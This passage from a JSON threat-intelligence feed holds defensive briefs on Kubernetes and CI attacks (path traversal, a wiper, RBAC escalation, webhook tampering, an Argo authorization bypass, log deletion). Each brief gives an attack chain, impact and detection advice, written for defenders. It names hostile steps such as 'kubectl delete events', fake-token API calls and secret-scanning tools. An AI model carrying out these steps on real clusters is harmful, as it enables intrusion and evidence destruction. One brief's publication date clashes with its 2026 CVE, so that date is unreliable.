\u003ccode\u003eTaskRuns\u003c/code\u003e and \u003ccode\u003ePipelineRuns\u003c/code\u003e to only authorized users and service accounts.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes API audit logs for suspicious \u003ccode\u003eResolutionRequest\u003c/code\u003e creation events (see rule: \u0026ldquo;Detect Suspicious ResolutionRequest Creation\u0026rdquo;).\u003c/li\u003e\n\u003cli\u003eImplement network policies to restrict network access from the resolver pod to only necessary resources.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-24T00:16:29Z","date_published":"2026-03-24T00:16:29Z","id":"/briefs/2026-03-tekton-traversal/","summary":"The Tekton Pipelines git resolver is vulnerable to path traversal via the `pathInRepo` parameter, allowing arbitrary file reads from the resolver pod's filesystem, including ServiceAccount tokens.","title":"Tekton Pipelines Git Resolver Path Traversal Vulnerability","url":"https://feed.craftedsignal.io/briefs/2026-03-tekton-traversal/"},{"_cs_actors":["TeamPCP"],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["kubernetes","wiper","iran","canisterworm","teampcp","destructive-attack"],"_cs_type":"threat","_cs_vendors":[],"content_html":"\u003cp\u003eTeamPCP has deployed a Kubernetes wiper named CanisterWorm, specifically targeting Iranian infrastructure. This destructive malware is designed to obliterate data within Kubernetes environments. The wiper\u0026rsquo;s emergence in March 2026 signals a heightened level of cyber aggression, particularly given the geopolitical context. Defenders need to be aware of the potential for significant operational disruption and data loss. The targeting of Kubernetes environments reflects a sophisticated understanding of modern infrastructure and the increasing reliance on containerization technologies. This campaign requires immediate attention and proactive security measures to mitigate the risk of successful attacks.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eInitial compromise of a node within the Kubernetes cluster, possibly via exploiting a known vulnerability or through compromised credentials.\u003c/li\u003e\n\u003cli\u003eCanisterWorm gains elevated privileges within the compromised node, potentially using techniques such as privilege escalation exploits.\u003c/li\u003e\n\u003cli\u003eDiscovery of other nodes and resources within the Kubernetes cluster through reconnaissance activities, leveraging the Kubernetes API.\u003c/li\u003e\n\u003cli\u003eLateral movement to other nodes using stolen credentials or by exploiting trust relationships between nodes.\u003c/li\u003e\n\u003cli\u003eExecution of CanisterWorm on each targeted node, initiating the data wiping process.\u003c/li\u003e\n\u003cli\u003eOverwriting critical system files and data volumes within the containers and pods.\u003c/li\u003e\n\u003cli\u003eCorruption of Kubernetes configuration files, leading to instability and potential cluster failure.\u003c/li\u003e\n\u003cli\u003eFinal stage involves the complete destruction of data within the Kubernetes environment, rendering the affected systems unusable.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eThe successful deployment of CanisterWorm results in widespread data loss and service disruption within the targeted Kubernetes environments. This can lead to significant financial losses, reputational damage, and operational downtime. Given the targeting of Iranian infrastructure, this attack has the potential to impact critical services and government operations. The complete destruction of data necessitates extensive recovery efforts and may result in permanent data loss if backups are not available or are also compromised.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMonitor Kubernetes API server logs for suspicious activity, particularly attempts to list or access sensitive resources to detect reconnaissance (reference: Attack Chain step 3).\u003c/li\u003e\n\u003cli\u003eImplement network segmentation and strict access controls within the Kubernetes cluster to limit lateral movement (reference: Attack Chain step 4).\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eDetect Suspicious Kubernetes Pod Deletion\u003c/code\u003e to identify potential wipe attempts.\u003c/li\u003e\n\u003cli\u003eReview and harden Kubernetes security configurations, including RBAC (Role-Based Access Control) policies, to prevent unauthorized access (reference: Attack Chain step 2).\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-23T12:00:00Z","date_published":"2026-03-23T12:00:00Z","id":"/briefs/2026-03-canisterworm-kubernetes-wiper/","summary":"TeamPCP's CanisterWorm is a newly identified Kubernetes wiper targeting Iranian infrastructure, indicating a politically motivated destructive attack.","title":"TeamPCP's CanisterWorm Kubernetes Wiper Targeting Iran","url":"https://feed.craftedsignal.io/briefs/2026-03-canisterworm-kubernetes-wiper/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["kubernetes","rbac","privilege-escalation","persistence"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection rule, sourced from Elastic\u0026rsquo;s detection-rules repository, focuses on identifying malicious activity within Kubernetes environments. Specifically, it targets the creation, update, or patching of Roles and ClusterRoles that introduce high-risk RBAC permissions. These permissions include wildcard access (e.g., \u003ccode\u003e*\u003c/code\u003e) and escalation verbs such as \u003ccode\u003ebind\u003c/code\u003e, \u003ccode\u003eescalate\u003c/code\u003e, or \u003ccode\u003eimpersonate\u003c/code\u003e. The rule leverages audit logs to monitor these actions and flags those that could lead to privilege escalation or unauthorized access. The rule aims to detect attackers attempting to add a new ClusterRole with \u003ccode\u003e*\u003c/code\u003e verbs/resources and then using it to bind themselves or a service account to cluster-admin–equivalent access. This is important because attackers can silently expand privileges and enable persistence or lateral movement across the cluster.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to a Kubernetes cluster, possibly through compromised credentials or a vulnerable application.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to create a new ClusterRole or Role with broad permissions, including wildcard verbs and resources.\u003c/li\u003e\n\u003cli\u003eThe attacker may use \u003ccode\u003ekubectl\u003c/code\u003e or a similar tool to apply a YAML manifest defining the malicious role.\u003c/li\u003e\n\u003cli\u003eThe Kubernetes API server receives the request to create the role, and the audit logging system captures the event.\u003c/li\u003e\n\u003cli\u003eThe attacker then attempts to bind the newly created role to a service account or user, granting them the elevated permissions. This is achieved by creating or modifying a RoleBinding or ClusterRoleBinding object.\u003c/li\u003e\n\u003cli\u003eThe Kubernetes API server logs the creation or modification of the RoleBinding or ClusterRoleBinding.\u003c/li\u003e\n\u003cli\u003eWith the elevated permissions, the attacker can now perform actions they were previously unauthorized to do, such as accessing sensitive data, deploying malicious containers, or modifying cluster configurations.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages these elevated privileges to establish persistence within the cluster and potentially move laterally to other resources or environments.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack can lead to full cluster compromise, allowing the attacker to control all resources and data within the Kubernetes environment. This can result in data breaches, service disruptions, and significant financial losses. The severity depends on the scope of the compromised role and the resources it grants access to. Even seemingly minor modifications can have a cascading effect, enabling attackers to gain complete control over critical systems.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Kubernetes Creation or Modification of Sensitive Role\u0026rdquo; to your SIEM and tune it for your environment to detect suspicious RBAC changes (rule.name).\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs for the creation or modification of Roles and ClusterRoles with wildcard permissions or escalation verbs (kubernetes.audit.requestObject.rules.verbs, kubernetes.audit.requestObject.rules.resources).\u003c/li\u003e\n\u003cli\u003eImplement RBAC guardrails, such as OPA Gatekeeper or Kyverno policies, to prevent the creation of overly permissive roles (references).\u003c/li\u003e\n\u003cli\u003eRestrict who can create or update RBAC objects and require all RBAC changes to go through code review and signed GitOps automation (references).\u003c/li\u003e\n\u003cli\u003eRegularly review existing Roles and ClusterRoles to identify and remove any unnecessary or overly broad permissions.\u003c/li\u003e\n\u003cli\u003eEnable Sysmon process creation logging on nodes to enhance detection capabilities around kubectl usage.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-05T13:13:30Z","date_published":"2026-03-05T13:13:30Z","id":"/briefs/2026-03-kubernetes-role-modification/","summary":"This rule detects the creation or modification of Kubernetes Roles or ClusterRoles that grant high-risk permissions, such as wildcard access or RBAC escalation verbs (e.g., bind, escalate, impersonate), potentially leading to privilege escalation or unauthorized access within the cluster.","title":"Kubernetes Sensitive Role Creation or Modification","url":"https://feed.craftedsignal.io/briefs/2026-03-kubernetes-role-modification/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["kubernetes","enumeration","discovery"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis detection identifies potential endpoint enumeration attempts within a Kubernetes environment. An attacker, or a compromised account, may attempt to map accessible resources within the Kubernetes cluster by issuing a burst of API calls across multiple endpoints from a single user and source IP address. This is achieved through a combination of both successful and failed API requests.  The behavior is not typical of normal Kubernetes cluster operation. Attackers leverage this reconnaissance to identify high-value targets like secrets, pods, or nodes before attempting privilege escalation or lateral movement. The rule specifically looks for unusual patterns in Kubernetes audit logs.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker gains initial access to the Kubernetes cluster, potentially through compromised credentials or a vulnerable application.\u003c/li\u003e\n\u003cli\u003eThe attacker uses \u003ccode\u003ekubectl\u003c/code\u003e or a similar tool to send a series of API requests.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to enumerate Kubernetes API endpoints using \u0026ldquo;get\u0026rdquo;, \u0026ldquo;list\u0026rdquo;, \u0026ldquo;watch\u0026rdquo;, \u0026ldquo;create\u0026rdquo;, \u0026ldquo;update\u0026rdquo;, and \u0026ldquo;patch\u0026rdquo; verbs.\u003c/li\u003e\n\u003cli\u003eThe requests target a variety of resources, including pods, services, deployments, secrets, and nodes.\u003c/li\u003e\n\u003cli\u003eThe attacker analyzes the responses to identify endpoints and resources that are accessible with the current credentials. Successful and failed responses are both valuable for mapping permissions.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies valuable targets, such as secrets or sensitive data stored in configmaps.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to escalate privileges by exploiting identified vulnerabilities or misconfigurations.\u003c/li\u003e\n\u003cli\u003eThe attacker moves laterally within the cluster to gain access to other resources or workloads.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful enumeration can lead to privilege escalation, lateral movement, and data exfiltration within the Kubernetes cluster. Attackers can identify and compromise sensitive resources such as secrets, configmaps, and pods. The number of affected systems and the scope of the impact depend on the extent of the attacker\u0026rsquo;s access and the sensitivity of the compromised resources.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnable Kubernetes audit logging to capture API server requests and responses, which is required for the provided rules and the original Elastic rule.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rules provided below to your SIEM to detect enumeration attempts and tune them based on your environment.\u003c/li\u003e\n\u003cli\u003eEnforce the principle of least privilege by assigning appropriate RBAC roles to users and service accounts to limit potential enumeration damage.\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs for unusual API request patterns, specifically a high number of requests from a single user and IP address.\u003c/li\u003e\n\u003cli\u003eReview RBAC bindings for unexpected or overly broad access as mentioned in the overview.\u003c/li\u003e\n\u003cli\u003eSegment API access with network controls (private endpoint/VPN allowlists) as suggested in the response section of the overview.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-03-05T13:13:30Z","date_published":"2026-03-05T13:13:30Z","id":"/briefs/2024-01-26-kubernetes-enumeration/","summary":"A single user and source IP attempts to enumerate Kubernetes endpoints, issuing API requests across multiple endpoints to identify accessible resources for further exploitation.","title":"Kubernetes Endpoint Permission Enumeration","url":"https://feed.craftedsignal.io/briefs/2024-01-26-kubernetes-enumeration/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Kubernetes"],"_cs_severities":["medium"],"_cs_tags":["kubernetes","pod","kube-system","container"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eAttackers can exploit the trust associated with the kube-system namespace in Kubernetes to deploy malicious pods. By naming these pods similarly to legitimate system pods (e.g., kube-proxy-bv61v), they attempt to blend in and avoid detection. This technique leverages the fact that system pods created by controllers like Deployments or DaemonSets have random suffixes in their names, making it difficult to distinguish malicious pods from legitimate ones based on naming conventions alone. The deployment of a backdoor container in the kube-system namespace alongside other administrative containers poses a significant risk.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eCompromise a Kubernetes cluster with sufficient privileges to deploy pods.\u003c/li\u003e\n\u003cli\u003eIdentify existing pods in the kube-system namespace, noting naming conventions and suffixes.\u003c/li\u003e\n\u003cli\u003eCraft a pod manifest for a malicious container, naming it to resemble a legitimate system pod (e.g., kube-proxy-xxxx).\u003c/li\u003e\n\u003cli\u003eDeploy the malicious pod to the kube-system namespace using kubectl apply -f \u0026lt;pod_manifest.yaml\u0026gt;.\u003c/li\u003e\n\u003cli\u003eThe malicious pod executes its intended function, such as establishing a reverse shell or providing unauthorized access.\u003c/li\u003e\n\u003cli\u003eThe attacker maintains persistence by ensuring the malicious pod is recreated if deleted, possibly via a custom controller.\u003c/li\u003e\n\u003cli\u003eThe attacker performs lateral movement to other resources within the cluster from the compromised pod.\u003c/li\u003e\n\u003cli\u003eThe attacker achieves their objective, such as data exfiltration or denial of service, using the compromised pod as a base of operations.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful deployment of malicious pods in the kube-system namespace can lead to a range of impacts, including unauthorized access to sensitive resources, data exfiltration, and denial of service. This can compromise the entire Kubernetes cluster and any applications it hosts. The number of affected systems depends on the scope of the compromised cluster, but it could potentially impact all applications and data within the environment.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eCreation Of Pod In System Namespace\u003c/code\u003e to your SIEM to detect suspicious pod creations in the kube-system namespace.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the \u003ccode\u003eCreation Of Pod In System Namespace\u003c/code\u003e Sigma rule to determine if the pod creation is legitimate or malicious.\u003c/li\u003e\n\u003cli\u003eImplement strong RBAC policies to limit the ability of users and service accounts to create pods in the kube-system namespace.\u003c/li\u003e\n\u003cli\u003eRegularly audit pod deployments in the kube-system namespace to identify any unauthorized or suspicious activity.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-11-07T14:23:50Z","date_published":"2024-11-07T14:23:50Z","id":"/briefs/2024-11-kubernetes-pod-creation/","summary":"An attacker may deploy a pod within the kube-system namespace in Kubernetes to mimic legitimate system pods and evade detection.","title":"Suspicious Pod Creation in Kubernetes System Namespace","url":"https://feed.craftedsignal.io/briefs/2024-11-kubernetes-pod-creation/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["kubernetes","admission-controller","privilege-escalation","persistence","credential-access"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThe Kubernetes admission controller is a crucial component that governs API requests to a Kubernetes cluster. Attackers can modify mutating or validating webhook configurations to intercept and manipulate these requests. By creating, updating, or replacing these configurations, adversaries can inject malicious code, alter resource definitions, or even exfiltrate sensitive information like access credentials. This activity can lead to privilege escalation, persistence within the cluster, and ultimately, a compromise of the entire Kubernetes environment. The attacks are typically stealthy as they operate within the legitimate Kubernetes API framework, making detection challenging. This behavior is particularly concerning for organizations relying on Kubernetes for critical applications and sensitive data.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eInitial Access:\u003c/strong\u003e The attacker gains initial access to the Kubernetes cluster, potentially through compromised credentials or a vulnerability in a deployed application.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDiscovery:\u003c/strong\u003e The attacker enumerates existing admission controller configurations (mutatingwebhookconfigurations and validatingwebhookconfigurations) to identify potential targets.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConfiguration Modification:\u003c/strong\u003e The attacker uses \u003ccode\u003ekubectl\u003c/code\u003e or the Kubernetes API to create, update, or replace a webhook configuration. This involves crafting a malicious webhook that will intercept API requests.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWebhook Deployment:\u003c/strong\u003e The malicious webhook is deployed as a service within the Kubernetes cluster.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAPI Interception:\u003c/strong\u003e When a user or application makes an API request that matches the webhook\u0026rsquo;s defined rules, the webhook intercepts the request.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMalicious Code Injection:\u003c/strong\u003e The webhook injects malicious code or alters the API request to achieve the attacker\u0026rsquo;s objectives (e.g., granting unauthorized permissions, modifying resource configurations).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePersistence/Privilege Escalation/Credential Access:\u003c/strong\u003e Depending on the injected code, the attacker achieves persistence by ensuring malicious code is always present, escalates privileges by modifying role bindings, or accesses credentials by intercepting secret creation requests.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLateral Movement/Data Exfiltration:\u003c/strong\u003e The attacker leverages their gained access to move laterally within the cluster or exfiltrate sensitive data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful modification of Kubernetes admission controllers can have severe consequences. This can result in unauthorized access to sensitive data, complete cluster compromise, and denial of service. The impact ranges from data breaches and service disruptions to long-term persistence within the environment, allowing attackers to maintain control over the cluster. The stealthy nature of this attack makes it difficult to detect, potentially allowing attackers to operate undetected for extended periods.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Kubernetes Admission Controller Modification\u0026rdquo; to your SIEM and tune it for your environment to detect suspicious modifications to webhook configurations (logsource: kubernetes, service: audit).\u003c/li\u003e\n\u003cli\u003eMonitor Kubernetes audit logs for \u003ccode\u003ecreate\u003c/code\u003e, \u003ccode\u003edelete\u003c/code\u003e, \u003ccode\u003epatch\u003c/code\u003e, \u003ccode\u003ereplace\u003c/code\u003e, and \u003ccode\u003eupdate\u003c/code\u003e verbs on \u003ccode\u003emutatingwebhookconfigurations\u003c/code\u003e and \u003ccode\u003evalidatingwebhookconfigurations\u003c/code\u003e resources (logsource: kubernetes, service: audit).\u003c/li\u003e\n\u003cli\u003eImplement strong RBAC policies to limit access to Kubernetes API resources and prevent unauthorized modification of admission controller configurations.\u003c/li\u003e\n\u003cli\u003eRegularly review and audit existing admission controller configurations to identify any unexpected or malicious webhooks.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-11-01T12:00:00Z","date_published":"2024-11-01T12:00:00Z","id":"/briefs/2024-11-kubernetes-admission-controller-modification/","summary":"An adversary modifies Kubernetes admission controller configurations to achieve persistence, escalate privileges, or gain unauthorized access to credentials within the cluster.","title":"Kubernetes Admission Controller Modification","url":"https://feed.craftedsignal.io/briefs/2024-11-kubernetes-admission-controller-modification/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["argo-workflows/v4"],"_cs_severities":["high"],"_cs_tags":["argo-workflows","kubernetes","configmap","authorization","vulnerability"],"_cs_type":"advisory","_cs_vendors":["Argo"],"content_html":"\u003cp\u003eArgo Workflows, a Kubernetes-native workflow engine, is vulnerable to an authorization bypass in its Sync Service\u0026rsquo;s ConfigMap-backed provider. This vulnerability, present in versions 4.0.0 through 4.0.4, stems from a lack of authorization checks on CRUD operations performed on ConfigMaps. This means that any authenticated user, even with a fake Bearer token, can create, read, update, and delete Kubernetes ConfigMaps used for synchronization limits. This flaw allows attackers to potentially disrupt workflow execution, access sensitive configuration data, or even manipulate ConfigMaps in namespaces accessible to the server\u0026rsquo;s service account. The vulnerability was reported on May 4, 2026, and poses a significant risk to Argo Workflows deployments.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains network access to the Argo Server.\u003c/li\u003e\n\u003cli\u003eAttacker authenticates to the Argo Server using any valid or even a \u0026ldquo;fake\u0026rdquo; Bearer token (e.g., \u003ccode\u003efake-token\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eAttacker crafts a POST request to the \u003ccode\u003e/api/v1/sync/default\u003c/code\u003e endpoint to create a new Sync Limit ConfigMap with specified parameters like namespace, ConfigMap name, key, and limit.\u003c/li\u003e\n\u003cli\u003eThe Argo Server\u0026rsquo;s \u003ccode\u003econfigMapSyncProvider.createSyncLimit\u003c/code\u003e function executes without performing any authorization checks.\u003c/li\u003e\n\u003cli\u003eThe function uses the Kubernetes client to create a ConfigMap in the specified namespace based on the attacker\u0026rsquo;s input.\u003c/li\u003e\n\u003cli\u003eAttacker can subsequently send GET, PUT, or DELETE requests to \u003ccode\u003e/api/v1/sync/default/{key}\u003c/code\u003e to read, update, or delete existing Sync Limit ConfigMaps without authorization.\u003c/li\u003e\n\u003cli\u003eThe Argo Server processes these requests, modifying the ConfigMaps accordingly, due to the missing \u003ccode\u003eauth.CanI\u003c/code\u003e checks.\u003c/li\u003e\n\u003cli\u003eThe attacker disrupts workflow execution, gains access to sensitive configuration data, or manipulates ConfigMaps, leading to denial of service or other malicious outcomes.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows an attacker with network access to the Argo Server and valid or fake authentication credentials to perform several malicious actions. They can cause a denial of service by setting sync limits to zero or a very low number, effectively blocking parallel workflow execution. Attackers can also disrupt running workflows by modifying existing sync limits. Furthermore, they can gain access to sensitive information by reading ConfigMap data or manipulate ConfigMaps in any namespace accessible to the server\u0026rsquo;s service account. This could lead to complete compromise of the Argo Workflows environment.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to Argo Workflows version 4.0.5 or later to patch CVE-2026-42297 and mitigate the missing authorization checks.\u003c/li\u003e\n\u003cli\u003eMonitor access logs on the Argo Server for unexpected API calls to the \u003ccode\u003e/api/v1/sync\u003c/code\u003e endpoints, especially POST, PUT, and DELETE requests, which could indicate unauthorized ConfigMap manipulation. Use the rule \u003ccode\u003eArgo Workflows ConfigMap Sync Service Modification\u003c/code\u003e to detect unauthorized modifications.\u003c/li\u003e\n\u003cli\u003eImplement network segmentation and access controls to limit network access to the Argo Server, reducing the attack surface.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-05-03T16:23:00Z","date_published":"2024-05-03T16:23:00Z","id":"/briefs/2024-05-argo-configmap-auth-bypass/","summary":"The Sync Service's ConfigMap-backed provider in Argo Workflows performs zero authorization checks on all CRUD operations, allowing any authenticated user to create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits, potentially leading to denial of service, workflow disruption, information disclosure, or arbitrary ConfigMap manipulation in Argo Workflows versions v4.0.0 to v4.0.4.","title":"Argo Workflows ConfigMap Sync Service Missing Authorization Vulnerability","url":"https://feed.craftedsignal.io/briefs/2024-05-argo-configmap-auth-bypass/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Kubernetes"],"_cs_severities":["medium"],"_cs_tags":["stealth","defense-evasion","kubernetes"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eAttackers targeting Kubernetes environments may attempt to delete Kubernetes events as a means of covering their tracks. This technique, often employed after successful exploitation or lateral movement, aims to eliminate audit logs and other traces of malicious activity. By removing these logs, attackers can significantly hinder incident response efforts and prolong the duration of their access. While the specifics of initial access will vary, this action will typically be performed using kubectl or similar tools with sufficient privileges within the Kubernetes cluster. Defenders need to monitor for unexpected deletion of event logs to identify potentially compromised systems.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eInitial compromise of a container or node within the Kubernetes cluster using an exploit (e.g., exploiting a vulnerability in a containerized application).\u003c/li\u003e\n\u003cli\u003eEstablish persistence by creating a malicious pod or modifying existing deployments to include backdoors.\u003c/li\u003e\n\u003cli\u003eEscalate privileges within the cluster, potentially by exploiting misconfigured RBAC policies or vulnerable service accounts.\u003c/li\u003e\n\u003cli\u003eIdentify Kubernetes event logs that contain evidence of the attacker\u0026rsquo;s activities, such as pod deployments, privilege escalation attempts, or network connections.\u003c/li\u003e\n\u003cli\u003eUse \u003ccode\u003ekubectl delete events\u003c/code\u003e command with appropriate privileges to remove targeted event logs from the Kubernetes audit logs.\u003c/li\u003e\n\u003cli\u003eVerify that the targeted event logs have been successfully removed from the cluster\u0026rsquo;s audit trail.\u003c/li\u003e\n\u003cli\u003eContinue lateral movement and data exfiltration, now with reduced risk of detection due to the deleted event logs.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful deletion of Kubernetes events allows attackers to operate within the cluster undetected for extended periods. This can lead to significant data breaches, system compromise, and disruption of services. The absence of event logs makes forensic investigation and incident response extremely challenging, potentially leading to inaccurate assessments of the scope and impact of the attack. While the exact number of victims is unknown, this technique, if successful, significantly amplifies the damage caused by any initial intrusion.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Kubernetes Events Deleted\u0026rdquo; to your SIEM to detect event deletion attempts in your Kubernetes environment (logsource: application, product: kubernetes, service: audit).\u003c/li\u003e\n\u003cli\u003eReview and harden RBAC policies to minimize the risk of unauthorized event deletion.\u003c/li\u003e\n\u003cli\u003eImplement strong audit logging practices and ensure that audit logs are securely stored and protected from tampering.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-05-02T12:00:00Z","date_published":"2024-05-02T12:00:00Z","id":"/briefs/2024-05-kubernetes-events-deleted/","summary":"An adversary may delete Kubernetes events to evade detection and hide malicious activity within a Kubernetes environment by removing audit logs.","title":"Kubernetes Event Deletion for Defense Evasion","url":"https://feed.craftedsignal.io/briefs/2024-05-kubernetes-events-deleted/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["kubernetes","enumeration","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eAttackers are increasingly targeting Kubernetes environments to gain unauthorized access and extract sensitive information. This activity often begins with enumeration and reconnaissance to map out the cluster\u0026rsquo;s configuration, identify potential vulnerabilities, and locate valuable secrets. This involves the use of standard command-line tools and specialized Kubernetes utilities. Audit logs provide a valuable record of these enumeration attempts, particularly API requests containing shell commands, file transfer utilities, or tools like Rakkess and TruffleHog. This activity is typically aimed at reconnaissance, secret harvesting, or code execution within the cluster. Detecting these patterns in audit logs is critical for identifying and responding to potential breaches.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a system with Kubernetes API access, potentially through compromised credentials or a vulnerable application.\u003c/li\u003e\n\u003cli\u003eThe attacker authenticates to the Kubernetes API server.\u003c/li\u003e\n\u003cli\u003eThe attacker sends a request to the Kubernetes API to execute a shell within a pod, such as \u003ccode\u003e/bin/bash\u003c/code\u003e or \u003ccode\u003e/bin/sh\u003c/code\u003e, potentially URL-encoded.\u003c/li\u003e\n\u003cli\u003eThe attacker uses \u003ccode\u003ekubectl\u003c/code\u003e within a pod to gather information about cluster resources, such as pods, services, and deployments.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to download tools like \u003ccode\u003ecurl\u003c/code\u003e or \u003ccode\u003ewget\u003c/code\u003e into a pod to facilitate further reconnaissance or lateral movement.\u003c/li\u003e\n\u003cli\u003eThe attacker uses tools like \u003ccode\u003eRakkess\u003c/code\u003e to enumerate role-based access control (RBAC) permissions to identify potential privilege escalation paths.\u003c/li\u003e\n\u003cli\u003eThe attacker deploys \u003ccode\u003eTruffleHog\u003c/code\u003e to scan pod environments for exposed secrets, such as API keys and passwords.\u003c/li\u003e\n\u003cli\u003eThe attacker exfiltrates gathered information and secrets or uses the gained access for lateral movement within the cluster or connected networks.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful enumeration of a Kubernetes cluster can provide attackers with detailed information about the cluster\u0026rsquo;s architecture, deployed applications, and security configurations. This allows attackers to identify vulnerabilities, escalate privileges, and gain access to sensitive data, such as API keys, passwords, and other secrets. This can lead to data breaches, service disruptions, and compromised infrastructure. The impact can range from a limited data exposure to a full-scale compromise of the entire Kubernetes environment and connected cloud resources.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the \u0026ldquo;Kubernetes Potential Enumeration Activity\u0026rdquo; Sigma rule to your SIEM to detect suspicious API requests containing shell commands, file transfer utilities, or specialized tools (Sigma rule).\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts triggered by the Sigma rule to determine the scope and impact of the potential enumeration 